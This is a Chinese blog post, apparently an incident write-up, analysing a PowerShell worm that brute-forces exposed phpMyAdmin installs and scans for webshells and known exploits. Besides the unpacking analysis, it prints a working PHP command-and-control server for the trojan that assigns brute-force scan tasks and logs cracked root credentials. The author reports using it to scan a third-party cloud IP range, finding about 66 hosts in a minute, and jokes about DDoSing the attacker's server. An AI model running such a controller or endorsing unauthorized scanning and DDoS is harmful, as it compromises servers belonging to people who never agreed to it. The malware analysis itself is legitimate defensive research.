起因

某一天, 突然机房的IDS报警, 某服务器对外连接数异常了~
于是上去看了一下, 这是朋友的一台服务器, 上面搭建了一个展示型公司企业网站 (没错这是flag
然后一看进程多了两个PowerShell, 那肯定是被人捅咯~


于是要求备份重装一气呵成……
其实这种事情在运维圈子里挺常见的, 大部分都是因为远程桌面/ssh弱密码导致的, 考虑到看起来像是被批量扫到的, 因此刚开始也没多在意, 让他重装改了个密码.
结果没想到2个小时后又被捅咯…… 然后看了下IDS发现又多了好几个服务器有类似的情况, 诶这事情不简单呀……
这…… 难不成是什么通用新漏洞? 那我们来研究研究 |・ω・`)


初探

经过初步研究, 发现所有被搞的都是做网站的, 脚本语言均为PHP.
但是这并不能说明什么问题哦, 不同的站, 虽然都是PHP所写, 但建站程序不可能是一样的.
这怎么可能呢? 显然我们可以快速排除这不是建站程序的问题, 而同时, 这些被搞掉的服务器, 远程桌面密码都是随机生成的.
调查一时间犯了难……

那难不成PHP本身出了什么问题……?

这样的答案, 我是绝对不信的. 就算是PHP本身出了问题, 这么严重的问题, 也至少会先上个CVE, 然后被搞个大新闻批判一番.
而且就算有这样的问题, 那恐怕也都是藏在手里的0day, 根本不可能这么明目张胆的拿出来扫整个网络.
就在这时候, IDS那边的抓包文件下载完了, 打开之后让所有人眼前一亮……


这张抓包似乎表明了这个木马在不断的对外扫PHPMyAdmin……而且还在试探很多webshell的文件名.
于是我去查了一下这几个服务器的MySQL密码……果然是清一色的root root……而且PHPMyAdmin都可以被直接访问.
那么这个问题到此就一清二楚了. 原来是这些网站用的一键包搭建, 而管理员懒得修改mysql密码, 甚至是干脆不会修改. 以至于MySQL的root账户一直处于默认密码状态. 而这本身不是严重的安全问题, 更严重的问题是, 这时候PHPMyAdmin又刚好存在而且是很容易被猜到的路径……
嗯, 你说这样的站该不该被捅(╯‵□′)╯︵┻━┻ 捅你活该


运作流程

知道了木马是如何工作的, 那么我们先理理思路, 对下一步的逆向分析做准备.
这个木马的运作非常简单, 无非是按照如下的流程跑:

  1. 扫描全网PHPMyAdmin并试探密码, 同时扫描各种WebShell, 或其他可能存在的漏洞
  2. 扫到的数据提交到服务器, 由服务器全自动GetShell
  3. 执行一个cmd命令, 加载PowerShell进程并执行木马本身
  4. 木马对外主动扫描, 继续扫描其他机器, 后果是感染量几何倍增长.

逆向分析

首先, 既然是执行系统命令加载PowerShell进程, 那么我们一定可以找到这个PowerShell的执行命令行参数是什么. 这样, 我们就找到了程序的入口, 以便我们切入分析.
于是查询所有进程的命令行启动参数, 不出意外, 发现了下面这些东西:


果不其然, 这是一段Base64, 由PowerShell解析并执行. 那么我们把这个Base64解了看看是什么 φ(≧ω≦*)♪

这是一个非常非常非常典型的远程下载并执行的语句…… 没问题, 我们把文件下载下来看……

好吧, 又被加密一次. 加密很乱, 各种换. 没事我们根本就懒得管他怎么加密的. 反正你最后还要把解密之后的脚本送进IEX执行, 我们直接把最后面那个IEX换成文件输出, 走你 (๑•̀ㅂ•́)و✧

天哪噜, 俄罗斯套娃咯~ 又是一个下载执行呀, 没问题, 我们继续下载~

然后下载下来的这个文件乱到我不想喵叫……啊不对写错了, 是不想看……
没问题, 还是老套路, 懒得看, 我们再一次把文件末尾的IEX改成输出, 走你w

开头似乎看起来很正常……但是这个文件好大呀……我们看看文件结尾……

又是乱七八糟的一大片, emmmm……老办法……等一下, IEX呢?
看来这次并没有送IEX, 我们看看最后怎么写的……

好吧, 看来解密之后不知道做了什么用途, 但是既然解密函数摆在这了, 我们直接来看看这个东西解出来是啥.

这……? 这是一个PE文件啊……看上去是一个没有加壳处理的dll. 这依旧难不倒我们, 咱丢进ida看一看w~


dll分析

丢进ida, 首先找到一个很大的while(1)循环, 毫无疑问, 这是这个木马的主逻辑循环. 其中包含了大量的远程控制指令.


然后将视窗拉到文件常量段, 可以看到内置了无数个webshell一句话木马的常见名称.

甚至是, 随便点几个函数, 居然找到了一个网站安全狗的针对性检测函数……

之后进一步研究这个文件并逐渐根据函数的功能重命名每个函数(过程过于复杂略), 结果发现这个文件还真不简单……

这……? 一次性可以扫那么多漏洞, 作为一个PowerShell语言为载体的木马, 这样的完善程度还真的是第一次见.

这个木马有如下扫描功能:

  • 扫描并检测PMA
  • 暴力破解PMA密码
  • 检测永恒之蓝等CVE公开的溢出问题
  • 扫描检测大量常见的WebShell文件名, 并尝试爆破密码
  • 检测WebDav溢出
  • 检测SQLServer弱口令
  • 扫描并检测Weblogic反序列化漏洞
  • 检测以太坊钱包服务器
  • 扫描并检测Struts2反序列化漏洞

完善程度可谓非常恐怖. 更甚, 除了控制扫爆之外, 我们甚至在主循环里找到了截图函数和cmd命令执行函数.



这完全就是个远程控制木马……
更可怕的是, 访问这个木马的主控服务器IP, 才这个木马还有个非常成型的web总控制后台……

怕了怕了, 你们是黑产dalao, 我惹不起.


好戏来了

首先, 知道这个IP是个腾讯云, 首先要做的事情就是先ddos (2333333333), 然后对腾讯云官方投诉这个IP~


接下来, 我们研究一下这个木马的协议. 分析之后, 大概写出了如下这个脚本:

<?php
// Win32.PowerShell.AutoScanner 主控服务器测试
// 仅用于信息安全研究使用
// Author: Angelic47

// 库函数部分
function startWith($str, $needle) {
    return strpos($str, $needle) === 0;
}

// 协议部分
// 需要补齐小马发上来的Base64
$packet = $_POST['msg'];

$needLen = strlen($packet) & 0x03;
if($needLen)
    $needLen = 4 - $needLen;

for($i = 0; $i < $needLen; $i ++)
    $packet .= '=';

$packet = base64_decode($packet);

// 返回部分
// 小马解析类似html注释的东西, 伪装程度极强
function returnMessage($msg) {
    echo("502 Gateway Error\r\n<!---" . base64_encode($msg) . "--->");
    die();
}

// 协议处理部分
function doEnter() {
    returnMessage('Success');
}

/*
任务格式
PMAFind $1 $2 $3 $4
 - $1 $2: 开始段和结束段, 如果写Random则随机扫描
 - $3: 端口号
 - $4: 线程数量
 - 例如: 1539236302 PMAFind Random 81 300
*/

function doCMD($packet) {
    // cmd&30DA3C32&DESKTOP-XXXXXXX : Administrator&Win10 (64-bit) : 8*2.90GHz : 4.00/1.74GB&1&23d 00h 53m&20171212&2017-12-01&15
    $packet = explode('&', $packet);
    $uuid = $packet[1];
    $computerName = $packet[2];
    $information = $packet[3];
    $performance = $packet[4];
    $uptime = $packet[5];
    $version = $packet[6];
    $buildversion = $packet[7];
    $unknown = $packet[8];
    
    // 1521003310 Rate 10#1539236302 PMAStop#
    return returnMessage('1521003310 Rate 10#1539236302 PMAFind 1.1.1.1 1.1.255.255 80 100#');
}

function doExec($packet) {
    // exec&1539236302
    $packet = explode('&', $packet);
    $taskid = $packet[1];
    
    // 1521003310 Rate 10#1539236302 PMAStop#
    return returnMessage('1521003310 Rate 10#1539236302 PMAFind 1.1.1.1 1.1.255.255 80 100#');
}

function doFail($packet) {
    // fail&1539236302
    $packet = explode('&', $packet);
    $taskid = $packet[1];
    
    // 1521003310 Rate 10#1539236302 PMAStop#
    return returnMessage('1521003310 Rate 10#1539236302 PMAFind 1.1.1.1 1.1.255.255 80 100#');
}

function doPMAFind($packet) {
    // PMAFind&30DA3C32&TaskId&[Crack:PMA] root/toor&http://1.1.1.1/phpmyadmin/index.php
    $packet = explode('&', $packet);
    $uuid = $packet[1];
    $taskid = $packet[2];
    $taskresult = $packet[3];
    $taskurl = $packet[4];
    
    file_put_contents('../pmafind.txt', $taskurl . ' ' . $taskresult . "\r\n", FILE_APPEND);
    
    // 1521003310 Rate 10#1539236302 PMAStop#
    return returnMessage('1521003310 Rate 10#1539236302 PMAFind 1.1.1.1 1.1.255.255 80 100#');
}

// 协议解析器
if($packet == 'Enter') // Enter: 上线第一个握手包
    return doEnter();

else if(startWith($packet, 'cmd&')) // cmd: 上报系统信息, 请求需要执行的命令
    return doCMD($packet);

else if(startWith($packet, 'exec&')) // exec: 小马确认执行某个任务
    return doExec($packet);

else if(startWith($packet, 'fail&')) // exec: 小马确认某个任务失败
    return doFail($packet);

else if(startWith($packet, 'PMAFind&')) // PMAFind: 小马成功获得phpmyadmin爆破
    return doPMAFind($packet);

之后将小马的主控IP修改并指向我们的php…… 然后我们随便选了一个某知名IDC云的香港IP段进行扫描.
以下是扫描了一分钟的结果……



扫描结果大概在66条左右, 枪枪致命. 果然是恐怖到不敢想象……

最后我们再来拿Python写个这个木马的生成器玩玩w (因危害过大, 只展示部分源码)


结语

写结语了呢qwq~ (喂, 严肃正经一点, 咳咳x

其实在运维圈子里, 各种各样的扫爆是非常常见的一件事情. 最常见的莫过于ssh暴力猜解, 远程桌面暴力破解等. 稍微有技术含量的, 会对一些通用漏洞进行扫描.
而通过扫描到的机器当作节点进行再次扫描, 这样的操作其实也很早之前就已经出现过.
上面这两样东西虽然都不是什么新鲜东西, 但是这个作者开发的木马却似乎让人防不胜防. 为什么会这么说? 这个木马的扫描似乎是涵盖了各种常见的payload, 而爆破pma和扫描其他人留下的webshell的方式更是让人难以想到.
这是有原因的. 对于很多站长来说, 因为自己技术能力不足, 往往会选择下载别人的整站一键搭建程序. 这本身并不是问题, 可问题就出在绝大部分一键包基于PHPStudy等集成环境, 导致PHPMyAdmin直接暴露. 而一件搭建程序的MySQL密码往往又是默认初始密码.
而对于这些站长来说, 因为从未接触到这些东西, 对早已埋下隐患的这一切浑然不知.

而后来我们也进行了实际测试, 没错, 60秒扫到了66条左右.
这是针对一个比较知名的IDC服务商, 扫描了其香港VPS的IP段. 之所以这样, 是因为考虑到这一用户群体大部分都是草根站长, 大部分是因为商业需要去搭建了自己公司的展示网站. 他们本身对这些就是一知半解, 因此也是难以考虑这些安全问题的.
确实, 接近1秒就一个服务器的结果让我们所有人都着实很惊讶, 但这也在理所应当之中. 那就是在无数的网站一件搭建程序流行的今天, 人人都在为极限拉低建站门槛叫好喝彩, 可殊不知, 一些隐患的种子却也就此埋下.
只可惜, 直到最后的那天, 这些隐患, 都会一直是无人知晓.

== THE END ==